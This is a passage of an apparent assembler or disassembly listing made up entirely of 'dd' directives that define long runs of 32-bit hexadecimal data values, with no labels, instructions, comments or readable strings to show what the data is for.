dd 0E23112E5h, 31E17D9Bh, 0DFC72EA2h, 6055010Ah, 61649DCh dd 15BFB81Dh, 1003DA0Ch, 0FDB440CAh, 0ED089262h, 768C0249h dd 733BC303h, 3CBE4028h, 1B19DE64h, 87DEA06h, 3310E420h dd 2520CA04h, 0A82008CEh, 5DD82075h, 206F6020h, 0C4318BB2h dd 0E1B43867h, 880A1401h, 8984F10h, 203F5EA2h, 0D4103366h dd 4ECF008h, 2106F27Ah, 4F40E18Ah, 862621Ah, 7602E5ABh dd 0F07B02DCh, 317F1303h, 5E813930h, 76089530h, 5CC71080h dd 10823110h, 0B418993Eh, 6C8A1061h, 3C3008C4h, 20C3C406h dd 8E8A531h, 188C2432h, 0F6085633h, 0D318C062h, 35050253h dd 6D27902h, 6E3111D1h, 1451088Ch, 90063D12h, 0EE893781h dd 189EE608h, 19817CF0h, 0B3AEB851h, 2B09B01h, 86F4A3C4h dd 8E29206Bh, 7AE9BC66h, 883F3141h, 3A3A928h, 22416C81h dd 87406818h, 103F65D4h, 0C6C04670h, 0FA201045h, 0EE9208Ah dd 20E25320h, 2931931Bh, 25990880h, 9CB94E01h, 873CE20h dd 0E2491B57h, 0AAEB0874h, 8D281818h, 81B54C08h, 332043FCh dd 0DED30819h, 7B010789h, 984901E7h, 9F728D01h, 32E07508h dd 0FF20A67Fh, 62130848h dd 94AC18C4h, 6FB1A04h, 31089742h, 2F206503h, 395B01EDh dd 1F7A108Ch, 0D7641108h, 0EA1CE351h, 6F3A20E0h, 18C986EEh dd 2D5422F9h, 0EBDA0275h, 0DC4CF305h, 0A85F4173h, 0C492138Ch dd 6DB4328h, 40F12D6Ch, 8949CA79h, 201120C4h, 5D20209Eh dd 99036F7Ch, 0C21089CCh, 40F6D540h, 6A6EC802h, 841290D1h dd 0F490516Eh, 0F559BC31h, 1C1092C9h, 0B018884Ah, 6D89A199h dd 63C0D188h, 8BC4608h, 4208B262h, 570409A3h, 6608024h dd 26104E18h, 991488C8h, 52811866h, 106A2B80h, 2018E78Ch dd 40F89040h, 0C56601ECh, 63992208h, 4C641123h, 8046302Ah dd 37177A20h, 74087BFAh, 33C0458h, 285B4F06h, 0F3B49754h dd 3608AE62h, 9C6000CAh, 0A499E8FCh, 0CF19402Dh, 8B1EC746h dd 0E7468EC7h, 3B001043h, 2752C47h, 0C68913EBh, 3DA7B90Eh dd 10005F4h, 49408F44h, 1775C90Bh, 1D748BF7h, 3DE0413h dd 0DA4AEF0h, 0CC07833h, 304FB10Fh, 405AC2Ch, 92B5516Ch dd 74E9CF90h, 0DBBF8021h, 257CABEAh, 200464B5h, 619817D6h dd 8742C303h, 0E9F82144h, 6A8E3BA0h, 17E4FC88h, 2D9F46Dh dd 0EBD7D98Bh, 0B377772Fh, 0A15E1BFDh, 0FB84D4ADh, 0BE563068h dd 0B74D0208h, 0C327E918h, 88415456h, 62EC50CFh, 293B9D3Eh dd 0AD2EC0D9h, 1290B16h, 7239E0B8h, 277EF660h, 0CDB0151h dd 8273FC26h, 403259D8h, 0B4505266h, 0ACB86D73h, 12728820h dd 0ED8435E9h, 0D012DC27h, 0A41ACCBAh, 3FA62070h, 0BCBE8C3h dd 0B99C02E0h, 195E7CDBh, 0BC20D17Eh, 0A4229517h, 0CF691606h dd 80CB0C37h, 7C06E0EBh, 82E9C1C7h, 7BDFB4Ch, 52727529h dd 2DD561BEh, 0F8063BE6h, 52490ACh, 4D44E305h, 7D3AEC4Bh dd 0C6496C2Dh, 270E9658h, 0DAE2B3DCh, 0D5AE0EFEh, 5F70AAB7h dd 97F6C3B4h, 813F5FC1h, 1F83CDEDh, 0EDD8389Dh, 0FD9F17AFh dd 583DE839h, 71CA05D9h, 0C5C256B2h, 5BCF8050h, 97FEF580h dd 4B042403h, 0D32CC8A9h, 0E4CD9AB3h, 745F0624h, 8EC664E8h dd 0C704756Bh, 638A7EB2h, 198ED4EEh, 0EC741C08h, 5B4A0C20h dd 0F1A54929h, 9BA4FFA3h, 54514B80h, 39FE594Bh, 12D2ACBh dd 7CF442Eh, 447C1452h, 0E65ED1BDh, 65A7A820h, 10A76CBh dd 0F1E853F6h, 3FF5297Ch, 33971D01h, 7A824B69h, 13E83531h dd 0CA2A6855h, 4059BFDEh, 0C062399Fh, 0A4B850C8h, 25E4806Ah dd 0AC1C7F00h, 47BB5316h, 0B5EC2595h, 2D12D254h, 1CAE4BAAh dd 973834DDh, 52C26A76h, 9A187FDBh, 7F8B317Ah, 7EB60220h dd 12BCCE9h, 0E4C74849h, 0E4F66F02h, 312C92EDh, 1190CDEEh dd 3C7B19E2h, 32B38655h, 44E3A042h, 34743D2Eh, 6E4241FAh dd 4B7178D8h, 1092A3DEh, 8107065Ch, 244C55C5h, 15418069h dd 5D02DD36h, 49A9E95Eh, 0BCC6401h, 3E2F6AFDh, 0DBDBA361h dd 2BC24103h, 0EB75BC4Fh, 82AC7EAh, 0C1E4224h, 79B057E7h dd 3DC18C71h, 887364C6h, 6BCF807Ah, 87BDDC7Ch, 0DB0C8BD7h dd 0B211E14h, 0F7E0CE48h, 1EFF4A10h, 445193F6h, 81AD66A3h dd 0AD92CE93h, 755E9210h, 4ED91C0Bh, 81945725h, 76F2C920h dd 9F1245Ch, 38CF6F15h, 8556105Ah, 97DD66C9h, 0B120A5F0h dd 2463F81Dh, 4C603Fh, 404E49C7h, 8328E93Ah, 0EC958612h dd 7C6A273Fh, 0F020C769h, 11FDFF7h, 878E52FBh, 88AFD211h dd 7F3D2D23h, 1444BE5Eh, 4F0705C8h, 6CA63CF9h, 72CA819Fh dd 0EC2E282Ch, 47B304CBh, 0F3822529h, 5E0785EBh, 3FB18BEBh dd 7D1392E6h, 2A1CB400h, 4A31AB19h, 0C32FA1CBh, 2958E8C8h dd 8698D05Fh, 0FFFFA206h, 6755323Ah, 0FF5C92DBh, 66996020h dd 4A1F7648h, 2F5DB05Ah, 0E60DD709h, 48BCD631h, 0B53B0A92h dd 0C24342DDh, 0E8A17709h, 808A32CFh, 0D219C340h, 60890E2Ah dd 0BCE1F4D9h, 744B8F1Ch, 0A0A442AAh, 0CE413370h, 0CBA0EA57h dd 0C01282E6h, 0EE1F1376h, 26D730F5h, 0EAD46DA1h, 0BA28C04Fh dd 68AC4E35h, 9BD50BFh, 71A1355h, 5B66A4F7h, 0C0BA294h dd 2FDB5A5Ah, 3FDEED79h, 985BDE50h, 11B20B52h, 17D87AAFh dd 50FE914h, 58880117h, 0DD010EC8h, 0FE506097h, 0EB78E829h dd 0AA94B784h, 60BF81E4h, 0C7C5E175h, 737BC30Ch, 94D25924h dd 0C40280B4h, 80B56E0Dh, 32F6CF8Fh, 0AD304E97h, 99058ACh dd 142126h, 6BE3E174h, 0DE0E9522h, 398C66Ah, 328D0AC1h dd 2E0380B7h, 0BD937F55h, 0B363A08Ch, 4F88A0FDh, 5AF9BD51h dd 0AC3DF9C9h, 0A77A2C56h, 5319DBF6h, 580319E2h, 175DAE06h dd 0C9C7D10h, 374D274Eh, 7B1944B4h, 6C60AFCh, 0EC04F7FCh dd 0C4125A10h, 0B82283C2h, 3F9048h, 0D6F629B6h, 0E2C0C680h dd 0E9030CE6h, 0B96A9D94h, 55C3680Fh, 7DF746A5h, 3580415h dd 0EA09672Dh, 6C285241h, 0B7401042h, 98975D85h, 4F509596h dd 565A0880h, 91049BB8h, 5B69AA1Fh, 3198C0ABh, 60486ACh dd 30E9DE89h, 8AC1D7FEh, 25A38884h, 63A7DE2Dh, 0C0501981h dd 711209FCh, 6500260Ch, 61DA0A18h, 501E25E9h, 6A623AD4h dd 0F42D2F9h, 50A57C5Ch, 0BB79DD64h, 84EDA9DDh, 0BEF4842Eh dd 0E98321A6h, 161D7AF6h, 0BBCBC209h, 0C0EE94B5h, 0C978056Ch dd 0F7510158h, 850804D5h, 8838A5DDh, 4EC3478Ah, 81744BC4h dd 25F45AC4h, 10C0621Eh, 0AC4EFA1Ah, 35FB31B3h, 0D93A02C2h dd 0B49EFC13h, 65E912D7h, 0EFAA089Fh, 0C979DC2Dh, 41426C2Bh dd 0AC4D1555h, 6B406771h, 7580F551h, 0E9416178h, 0D3335110h dd 0C08BB72Eh, 9E685753h, 1A452407h, 39041BBAh, 9471BDB0h dd 6BF43D7Bh, 1B58E388h, 8E76866h, 2AB2790Eh, 3A1AADE9h dd 2AD9DF7Ch, 0A1F97DADh, 896AF971h, 8BAD607Fh, 2DC440h dd 74800CBFh, 915EC0Dh, 68512705h, 0F3B36F83h, 0D04E8712h dd 5B29C1EFh, 51EE1B1Eh, 8BFC5917h, 6171FBB0h, 0C0E93F15h dd 4AC4AF0h, 1F1C772Ch, 3291082Dh, 7215C13h, 0EB05EC50h dd 94A9D713h, 1FEAC280h, 0E914146Eh, 25812AD0h, 22325D31h dd 0E93418F5h, 0EDB64A16h, 5BEBB305h, 30EEFCB5h, 81020607h dd 140409F3h, 895DA8E0h, 55897570h, 12576028h, 0EE881C5Ah dd 50624070h, 213E2B1Fh, 407DAFD3h, 249141AEh, 1264D8F7h dd 0C155313Bh, 3D0560EAh, 9CA0269h, 5C838598h, 1A02CEEAh dd 54BEC520h, 25E90457h, 174FAB8h, 2E58F580h, 49E9E270h dd 0F6038135h, 0FFC280DAh, 0E7296210h, 0F5285A0Fh, 0EA60ED84h dd 69327B2h, 9C08DACAh, 9D325876h, 0C32118DFh, 0EC80260Ch dd 225C79F0h, 0E3BAC407h, 830BEBE8h, 0A07D01EAh, 41670EF7h dd 8E564866h, 0B40D2704h, 0E9B3AE53h, 0A0CDC70Bh, 7D698CD7h dd 31114062h, 0D8C6CBFBh, 7814A720h, 83A92655h, 0F7F68B72h dd 6F4791DCh, 31C4D4E1h, 0B02F5261h, 999A4E83h, 0EF18013h dd 2728C408h, 7C624CF4h, 2F854C0Bh, 0DA7E3FCDh, 0E2CF169h dd 384BCF88h, 0D00C2B5Bh, 0CBF308Eh, 75A3166h, 540BBA6h dd 5F57C433h, 9B900D5h, 984B6349h, 3B2C740Dh, 0F10211BCh dd 23DE13E5h, 6EED1861h, 7F345BCAh, 46CCBEEFh, 836984C5h dd 0B7675F0Ch, 0A9B86F96h, 2529BD2Ah, 0FC0935A8h, 452AE6F0h dd 0F82F85A0h, 2EF6E55Fh, 4334054Ah, 0EFE4286Eh, 28840CA2h dd 68ADF05Bh, 0D34B9B2Fh, 0A1A965AEh, 2FB62F2Dh, 0D02D6912h dd 0EA48CFBBh, 0EE9B56C5h, 24418ABFh, 0E00B6BBBh, 0E9C9A2BFh dd 9EE559D5h, 5704954h, 5887E048h, 2907901Dh, 820DEACh dd 0BC80E917h, 10F85756h dd 16CA6679h, 0FAB78C37h, 54640820h, 52023BFBh, 8227906Bh dd 0BBB7FF9h, 4C2D5CDBh, 0E9F80C38h, 250E2D43h, 8E4FB40Fh dd 23A64C4Bh, 0E616A268h, 212D05D2h, 0AE7BAB66h, 717F384h dd 683B2CEBh, 2C2F3A20h, 60C890E9h, 18A13D9Dh, 3401F6ECh dd 0E9473098h, 0FF38E067h, 512BF91h, 8548F602h, 87173A47h dd 0A99AA8F9h, 427D861h, 0EC5FECBCh, 44A8F5BEh, 1303D82h dd 0F7819B64h, 0DB4E4F8h, 96E58102h, 0C068A829h, 2FE3CFDDh dd 1A583CA2h, 451B2D1Eh, 0F00A4BDEh, 0B260705h, 24A85A08h dd 0F15017CCh, 77E07E06h, 97050407h, 0EBFE8710h, 76E949C0h dd 0B77CB21Eh, 0FB347EC8h, 1D41895h, 4B3E9A58h, 3BDFCA56h dd 0F9CD825Eh, 5E265A47h, 9CAD8CACh, 1C09F3F7h, 1016E248h dd 0BD0B434Fh, 6B3A7618h, 5D7E3476h, 0E320AE2Ah, 1C30E00Fh dd 86364413h, 71E78003h, 0C257C799h, 6C5E2541h, 0CFD55237h dd 25F9E953h, 81D8BFC2h, 0F41F17B7h, 0B0110922h, 0C436E2B1h dd 0C0971050h, 97D829DDh, 80BE7971h, 4A407568h, 1E355826h dd 7F215A3Bh, 0FD5FC7BCh, 2908D320h, 8D232D14h, 0DB2774D3h dd 0BC345159h, 5D057615h, 774E2E78h, 28D42FF6h, 44D76E42h dd 653502A6h, 0FB295372h, 21CBF361h, 0B0533h, 8A6F3F33h dd 829F597Fh, 0DD9B3CFFh, 152E6E07h, 0C9D90014h, 46CA4C93h dd 0F7092C9Ch, 0A8C881D1h, 30ED13h, 0D44E4EE3h, 0F6F28308h dd 14E5A53Fh, 0DFE1DE20h, 0AE568ECBh, 7CC59F34h, 0DABA0147h dd 775C27D3h, 285E881Ah, 17DC4795h, 2535BDDCh, 60D12FFAh dd 79C2B95Ah, 28265878h, 573C4106h, 0B50FD818h, 58EC4038h dd 4B0CCD1Ah, 0D7F7A1EFh, 0F28DABB5h, 0E926982Fh, 0B5B69A20h dd 0D5C1BB81h, 700CD95Dh, 318025AFh, 8576974Ch, 2F204770h dd 3205DBE9h, 0E997AF91h, 0D264D3A0h, 9354C133h, 6D3CDF05h dd 173A100Bh, 5AB7530Ch, 0B2023406h, 5BFA30FFh, 7A070B28h dd 0A6EA34C9h, 0B3530F11h, 6DC3E021h, 0E05BDD88h, 38E917EAh dd 507D4062h, 0BE18F0B8h, 0DD280D7Ch, 5695D748h, 4FA4CF32h dd 0D9F70380h, 4EB0C341h, 172CEA28h, 0C7AA5D5Dh, 0DA18E125h dd 88D43EEh, 0D697F397h, 0E9B0DDECh, 3DFF0A09h, 0CBE85BBDh dd 242C55E1h, 720053F3h, 80BD4027h, 9DD8D2B8h, 0C24D3BC0h dd 5985D3BCh, 0EEA8DA7Fh, 0BDFD004Ah, 3546799Eh, 536C49Fh dd 47C26F30h, 4E07FE4Dh, 174F7B5h, 52936802h, 17A63CD1h dd 5E02AC48h, 0C23A350Eh, 0F69416AEh, 3E43BFCBh, 0E92C0FE0h dd 1053F02Dh, 975F5AE3h, 0A482C442h, 1E0B0A5Dh, 4E48901Dh dd 8E20FB3Dh, 0CC0F4BE9h, 5AEC5F32h, 0A16B9B00h, 272CFF2Dh dd 25E91750h, 0DA4C4517h, 0AD1E2240h, 0C302A372h, 0EC216115h dd 7FE15D09h, 7BBB60F7h, 2DE77C18h, 340B3BE8h, 0C11A526Ah dd 4048062Dh, 7A350706h, 5F27E512h, 41EB2DC4h, 0DD762A62h dd 2976E65Eh, 0C66828C2h, 691AF0C3h, 0A678E559h, 7500234Fh dd 4549E12Dh, 69B69164h, 9CE9D6B0h, 7F169F69h, 8BB50FECh dd 642EBA4Eh, 11641275h, 859FE801h, 72966EDEh, 29599512h dd 0D0A531E8h, 545D31Dh, 29276EFh, 77478A13h, 38C13040h dd 48A83A58h, 0F95F0146h, 0A2E905C2h, 0C1037679h, 52BBFBCBh dd 9D7E6DAh, 0C2145D91h, 0A9C1C227h, 0D2FC63B3h, 90ABF07Dh dd 1E7724A4h, 492B9FEDh, 4C55FC52h, 5AD4F685h, 86BBA92Ah dd 9FD13735h, 0EA4891D8h, 673B10E4h, 5037B180h, 0C01A58B4h dd 0FD0607ECh, 2F7BB3E1h, 5BD934F4h, 3B5AC98Ah, 881399B9h dd 59BBE3E5h, 0B968989Fh, 0C8E91A1Bh, 0E85DBA31h, 80F18299h dd 770BE781h, 0F5172A1Ch, 0F94A9981h, 291C7014h, 0B4C0CEB5h dd 80FD6956h, 55022275h, 0F7811D2Bh, 4418CFBh, 1605330Ch dd 0EAE963C3h, 5954DF44h, 805DD583h, 7C8307E4h, 0A87BBFC5h dd 529DCBFh, 576C07DEh, 0C8F4D3AEh, 1A0AFA8h, 95A478B5h dd 52DB5Eh, 0F42534F2h, 0F101243Ah, 0EA08208Fh, 86206FB4h dd 2909F260h, 0CEC07FA2h, 9E2F6B57h, 4F9225E9h, 4D13A473h dd 405DAE82h, 270E8437h, 0D1781946h, 0CDD463B7h, 0C12B19F1h dd 0FE37FEE3h, 2FAC6EDFh, 7DE25AD5h, 54E7FA54h, 399005C4h dd 0B5454168h, 2269C759h, 0F5C75C9Fh, 8830264h, 0B8EED824h dd 2F0FBC3h, 36FABA10h, 487F2FE2h, 4C6C46A0h, 0EA151C80h dd 0B996BC02h, 0B0C20345h, 0D5AFFE5Dh, 54C52092h, 0F576B50Bh dd 85FC4517h, 4F63BC2Ah, 5A6F19E0h, 0CC76C988h, 0AF3C2DC8h dd 5110130h, 6DAA1315h, 0B28AB83Ah, 39F77897h, 0E50AEDD1h dd 0A8AC7868h, 2A2741BFh, 0C8B86D0Bh, 12E8C312h, 0C4066B1Eh dd 21CB01A0h, 249303E9h, 38D7BEE1h, 0A12A44FEh, 2ECDEADAh dd 0DAFA8205h, 2D45588Ch, 88DBD912h, 5700EFEAh, 0E8D0AF68h dd 0A85F5B6Eh, 0F2210A1Fh, 8400B25Eh, 6851F63Bh, 200E5476h dd 75BC1FB8h, 0AE002F34h, 3110D832h, 587D699Dh, 0CB46520h dd 29789901h, 0E248C150h, 42821043h, 3DCFB650h, 0F9123BFCh dd 0B11631F2h, 3C1F30E6h, 22E13026h, 0D5251124h, 3301DB87h dd 0F1B00FC9h, 0C83988CFh, 474E359h, 0F7C392FDh, 51A2B9E3h dd 2A1775E3h, 7516DBEBh, 0E72FD7E1h, 7E127B32h, 8FFB011Ah dd 0E9510740h, 0D70927BCh, 0D92DC867h, 5102C296h, 9762C154h dd 0CFC65552h, 13EEA12h, 0EEB56ABCh, 8B6414D9h, 22692FE9h dd 1B90CDD2h, 0D45C4B71h, 2E8E12D2h, 875E00D2h, 22B61EEBh dd 0F20100B5h, 3D5DEA81h, 68FA3613h, 3BF32859h, 0D5314A84h dd 0AE04C315h, 0C050E086h, 816BA0C8h, 9E2E20EFh, 0FA03C938h dd 0E4CF4E9h, 1404E8B1h, 0E1511E49h, 2C38089h, 0B05EF780h dd 50FE30F0h, 0E623E7C1h, 60767E9h, 7B125294h, 0F2539E5Eh dd 534D830h, 60167F05h, 5F71AE06h, 5000B7FCh, 0FE398DB0h dd 8C030C8h, 0B528652Ch, 0A2820DBh, 0BAE7B198h, 0C736E6A4h dd 8E60E533h, 0B5B86754h, 0B72B72C5h, 98856C5Dh, 28B22BA6h dd 6F050257h, 0D061B85Bh, 0B4056CD8h, 8829100Bh, 4826FEE4h dd 0FD3E4B73h, 0B0ED4CD3h, 82010D99h, 44968370h, 0EFC40269h dd 68730913h, 0A09D559Fh, 0CE0FEEAh, 9DECEC9Dh, 2D42B4F1h dd 0A62D4BFFh, 0BC5F5B86h, 0CF327DFFh, 60B81A1Ah, 2851A86Fh dd 4B514431h, 0C11EC0AAh, 810305E1h, 0AD53E2C9h, 4B900445h dd 0EE0B3B36h, 15FB93E0h, 0EB524774h, 0B0B15E2Fh, 0BA1045F6h dd 0F7428ACCh, 0E9D55C03h, 17CB401Bh, 0C1BE5D40h, 0F703D0D0h dd 0E36860D6h, 564E65BAh, 450A39BBh, 5A9CBC7Ah, 167299ACh dd 1E15FFDh, 8307FF5h, 0B0CDF07Dh, 73530916h, 2C972401h dd 0F5F06286h, 0DF151335h, 0E017AE12h, 170A07C6h, 0E20E0A18h dd 0CABA9242h, 28E93DBDh, 801CD136h, 0F22748C5h, 0F8F45F93h dd 0E457C456h, 50C39BAEh, 0CF44F263h, 0AC585EC7h, 80207BD6h dd 25B907A1h, 0A2609829h, 29E80553h, 240659EEh, 0F7560C15h dd 0DC5E4C6Ch, 0D7C2E17Ah, 0BA3242CDh, 752CCAA5h, 0C15DCA98h dd 0BB03E528h, 0F95B9D0Fh, 33E62F2Fh, 0D18393BAh, 29D58DC8h dd 0FA37F54Eh, 0B80596EFh, 81C078B1h, 4E104F41h, 0A10AB3Bh dd 141C6808h, 933F5B24h, 0E1A49FD0h, 95751E5Eh, 9831CC69h dd 0E6F84E16h, 781F240Ah, 72CF542h, 0E9270401h, 0E034D2FDh dd 656245B3h, 104B6270h, 0F71B4A72h, 83D3E5D2h, 0BD0CF872h dd 941F2B82h, 1DA713F5h, 0A4C61DAAh, 97529D57h, 0BE35801Ah dd 0A43D3688h, 0AF561702h dd 609139AEh, 6605F0D7h, 49417A97h, 4FA4FC2h, 37C9FF58h dd 14F74770h, 9077F61Eh, 0D4D83771h, 2AF4F928h, 1AE42D9Fh dd 9C2F5C79h, 4C0E7AAAh, 0DA2979C9h, 0CB082384h, 8D120259h dd 140883Fh, 8F74E901h, 1CD53EA5h, 0EBAF200Eh, 1EED6826h dd 0F4BE5DA5h, 18B25BBDh, 630543D5h, 4BC81C01h, 0E4748C2Dh dd 0F9E86F20h, 11CA0747h, 0F3685D04h, 34E984E0h, 0BF0ABE8Dh dd 0C95ABEC3h, 0F85144BAh, 0F53C20D0h, 32C08ADFh, 185184D5h dd 3D6DC24Eh, 99FD17EAh, 463ED746h, 0A2FC0EFFh, 82DFBF28h dd 0DB04675Fh, 0B452CD68h, 774FF379h, 74A76BFCh, 82860D47h dd 5F55A088h, 23A05B16h, 0DF455802h, 1916FB3Fh, 3412977h dd 0D8CD76C5h, 62E3B035h, 6AD71600h, 2EB739AEh, 3C6EA9A1h dd 1427E9E6h, 0B2844427h, 9753E42h, 4898733Fh, 5CB351Bh dd 0DA21712h, 825ABC0h, 892F1795h, 0C9BD64F9h, 2739D00Eh dd 3972C92Ch, 5841070Fh, 0F2E8C5B5h, 0D0224BA8h, 0EDC14DFAh dd 7E6F0648h, 8226C9BBh, 99FE1EAFh, 0EC5292A4h, 0C6E9C277h dd 0E22D0038h, 5B4AFC0Dh, 8A28D81h, 0BEE67DD6h, 97DCD12Ah dd 4904F0B7h, 302C0FAAh, 66D3BE2h, 0CCB06B0Dh, 0A6419Dh dd 7A426382h, 0BDDC7354h, 7B29940h, 66D53038h, 7AFE495Ah dd 162E985h, 0B8EA0190h, 3A0EBD28h, 8B45A9B3h, 784EE205h dd 0EAF42D07h, 0E27F9709h, 53A354E0h, 0EEF93A5Eh, 72950992h dd 25C41C7Dh, 22EE478Bh, 984E50F6h, 45B2DE90h, 7624C77h dd 0AB3F4305h, 21EFD7Eh, 4A805860h, 734D6041h, 0AEA910F9h dd 6CDB3A29h, 261238E0h, 9DF0565Dh, 2E42CDBAh, 80F4044h dd 40627268h, 1A34691h, 6052D828h, 84409770h, 1682855h dd 180D205Ch, 4FC45F4Bh, 0CE4155B7h, 5FA1E9D2h, 0F910EB32h dd 308C4580h, 669F1FB7h, 17590234h, 0EE29491Eh, 0A7873875h dd 5E201242h, 0F501C343h, 0D9E911E8h, 7CB74A5Fh, 0E2405324h dd 0BD004E88h, 58C70C84h, 8E0A1D20h, 13854460h, 4009FFD5h dd 314F5D01h, 4DF3318Eh, 7B6508DEh, 9D01D330h, 0B55CCA54h dd 2C5C6DD8h, 18E81237h, 8B6A6FC9h, 507E0780h, 0CBC05CB0h dd 0B9DB4CE9h, 0A5E226A9h, 0DC8C86FCh, 0F0561ACDh, 7D5DE6CEh dd 5B54975Eh, 0DD28E985h, 7AF44EAh, 0F7D0EA4Ah, 2D162BCAh dd 9474123Bh, 3FFAE404h, 0C41443F1h, 56EDA8C2h, 32D727FCh dd 0A275444h, 69ECDC81h, 0AE3DA974h, 68898DF0h, 5DCCB24Ah dd 769FD34Eh, 58FC52A5h, 0A048600Bh, 0B012DAA3h, 0F172BD34h dd 3261802h, 4B71E90Fh, 0FD61FA22h, 42DC6EA2h, 990E780Ah dd 0C2D2C2Eh, 31E1089h, 23B00B64h, 0A6C98A51h, 2BFA08A0h dd 0F6ECF24Fh, 204B099Eh, 35241059h, 8F7E3C02h, 0F104028h dd 6532250Ah, 0C512B25Eh, 3A2B9DEBh, 32FC7713h, 0E878E9C4h dd 0DB8058Dh, 4381B776h, 3D966D42h, 0FD1E95EBh, 0BB6868Fh dd 2AF9C8Ah, 267F5EA4h, 807700Dh, 42C171B9h, 9A56C3E9h dd 8828B100h, 7CB459CEh, 90702CCDh, 0A8FAA77Eh, 84ADBC1Ch dd 7618187Fh, 7F2C393h, 0FF6FE134h, 9FCED233h, 0CA7BCE5Eh dd 0CB96D7EBh, 211FE909h, 976C4601h, 7F42AD0Bh, 2730E775h dd 3D421C71h, 236606E7h, 180A2AE9h, 68840902h, 7EF956B1h dd 1379BC4Eh, 1DEA0901h, 1CF75950h, 609F71C6h, 1361350Fh dd 7968EE0Ah, 0D9CE01F8h, 0F853101Bh, 8175ABBh, 0BEFD31E9h dd 35DEF12h, 55FF2D20h, 283E819Fh, 3A90E842h, 0E92C1F0Bh dd 0BBF140E1h, 8564385Dh, 3988BF02h, 14E16B26h, 0D35507A9h dd 0EEF8D0FFh, 613719B9h, 0DDD38416h, 99ABAC28h, 4FC27E0Fh dd 0E5D06Bh, 0B860ACBEh, 0D3CE816Eh, 4E060B17h, 4035108h dd 0EA5EF231h, 5F016A85h, 3D9D128Dh, 0AFA4133Fh, 400B4150h dd 4205EBD9h, 26E94058h, 250D3A0h, 3AA66851h, 0B66627C7h dd 49C07E99h, 0F6A5B850h, 0D87150F6h, 0B79BBABFh, 0E90BD1C7h dd 77F2C28Ah, 0D0719362h, 885F0849h, 0EFA34027h, 0E7810007h dd 39C76D80h, 3324E957h, 9482A8DFh, 7F2CD20Ch, 0FA9A0C43h dd 0B028EC2h, 0CE55EA29h, 74892EFCh, 245EAD7Eh, 6F680104h dd 2482A0C5h, 8E00D793h, 2E254A2Dh, 3520224Bh, 2557F068h dd 4E221E7Ch, 35266ECh, 9520E120h, 0AB008972h, 8123755Ch dd 25A359C2h, 74C2DC8Ah, 2F5F88B0h, 56823799h, 68178768h dd 80371CA4h, 0B959E954h, 5BDF4C58h, 1BF588Ch, 56270417h dd 0D1E9F909h, 5BAC94ECh, 0DD6628AFh, 47844D60h, 0B7690D0Bh dd 0D4F91184h, 7EC8FDD2h, 74031412h, 0E9DE88FBh, 5CDA632Dh dd 5985D088h, 6834E691h, 0FA136EB2h, 7120AFFCh, 0B334C668h dd 2E7439FDh, 8394772h, 5717F0E8h, 0FD4AF6CAh, 0AB1185E8h dd 2636FB41h, 1A603B7Dh, 0EF28801Ah, 5D70F8EEh, 273D9F93h dd 53BE008h, 0E2AF9C02h, 0C9F22898h, 0AD7BA438h, 78230942h dd 0D50A827Bh, 0CB27836Ch, 0CB9ED6A8h, 965A43F6h, 4192B098h dd 0A2410513h, 0B8B3827Ah, 1FFFC1FEh, 0BD0B006Fh, 30133819h dd 0D24EF3F4h, 40B1AF90h, 5A747BD4h, 3A9DE5DEh, 644BD7E0h dd 0AFEE877Ah, 4D27FC80h, 0BEC9832h, 0F9CE1A76h, 0E9E2FFDCh dd 4837C875h, 456A092Dh, 26585135h, 0BCEF7AB0h, 5DD10179h dd 415A3024h, 9503B4F4h, 2ADE0312h, 0B780CF92h, 2E7FD4BEh dd 17A0121Dh, 4A41AB5Eh, 59C60A82h, 0E07D0C83h, 922DE607h dd 5CCFFC5Bh, 8E685C0Bh, 579E9A4Dh, 0E762360h, 0DBBE78D2h dd 3A924E72h, 0E4A12E01h, 6029DC53h, 0F197A490h, 1457EB2Fh dd 18D027D6h, 3B527019h, 221FA725h, 0CA91712Fh, 0D21C4225h dd 2D7945DFh, 9F071670h, 0E94DB743h, 0BA7BC07Bh, 2D5F1E62h dd 505E8946h, 0E700B3A9h, 40964D6Bh, 8200EB9h, 0D2845E4Fh dd 50063F3h, 1E446A67h, 0E34E8FE9h, 2D8029A2h, 7C36103Fh dd 0E2B60090h, 4BC9E978h, 0B55C4222h, 1640A30Bh, 3ABDEBB7h dd 1C95058Bh, 7C2C8AAEh, 18B9FC33h, 6025B1ACh, 0D85F0C93h dd 0EC4BE752h, 0DC50E8F2h, 2A236550h, 497D8346h, 0A968951Dh dd 0B760A664h, 19EFC09Fh, 0AC7FE08h, 0CEE7E103h, 4C23B61h dd 45786A90h, 0A04F4BACh, 475AEA34h, 0CC945D05h, 85F5D020h dd 0B3B0929h, 0EFED5F7h, 6D3681Eh, 0E956C730h, 17B9610h dd 236692BDh, 0C02C7129h, 1577C309h, 45E5EE78h, 48C2FB08h dd 0A734DC5Eh, 4B6DE748h, 0BEEC3BE1h, 754268B1h, 462A60D5h dd 38B6BA80h, 81812C11h, 0B96B7EE2h, 87E83B1Fh, 9DD30312h dd 13343E54h, 0F99EC4BAh, 0D482A2E5h, 557C25CEh, 78B37C5Ah dd 1670965h, 3472D05Ch, 554CCAF0h, 0E62559E5h, 91D0B5A6h dd 0E4FD9B26h, 88749180h, 3EB8120h, 0E1716289h, 0FA2DDBF7h dd 0B7A0BE56h, 0CD06246h, 5730D53Ch, 0E2061036h, 6375CC60h dd 0B1906192h, 3871DD1Fh, 5C2384E4h, 720652Ah, 7E6812A6h dd 7353A37Ah, 5E5F7B40h, 0B2DFB009h, 4A42D05Dh, 0B70445E8h dd 80170A71h, 16929A15h, 8FA12BEDh, 4BABDA7Fh, 0AC1273A2h dd 92A9FCE1h, 0B76BDDA1h, 0BBF85B4Bh, 5FF968B0h, 3F49189Dh dd 5F46B5CEh, 1EC5B55Bh, 62514F22h, 3BB750B2h, 0BDDBC9FEh dd 47D22872h, 70B76544h, 0ABFD4E31h, 0F2223039h, 0EA8852B0h dd 0D55E5173h, 0B57857ECh, 4F0DD2C2h, 0C5D6806Bh, 73C132EBh dd 0A008BD29h, 0C892608h, 577596D7h, 99404FEEh, 0F1C0CB5Eh dd 0D491637Ah, 38665863h, 3413E917h, 0C478EC01h, 0AB88B22Bh dd 212805A2h, 0C2EA89FBh dd 0DF0B57AFh, 27BE2486h, 1070EB03h, 0B60114EFh, 0A2E5208Ah dd 54BC8976h, 77FE6851h, 6BCAAFADh, 5DF97288h, 0E15E410Ah dd 0F2F1D208h, 78980212h, 25894D58h, 5A545282h, 9CB066CCh dd 5F12AC54h, 973B43A4h, 54AE2CE9h, 0CA88359h, 0B34E4067h dd 0EBD03E03h, 9997CB80h, 0E17B12F3h, 99C3E4F8h, 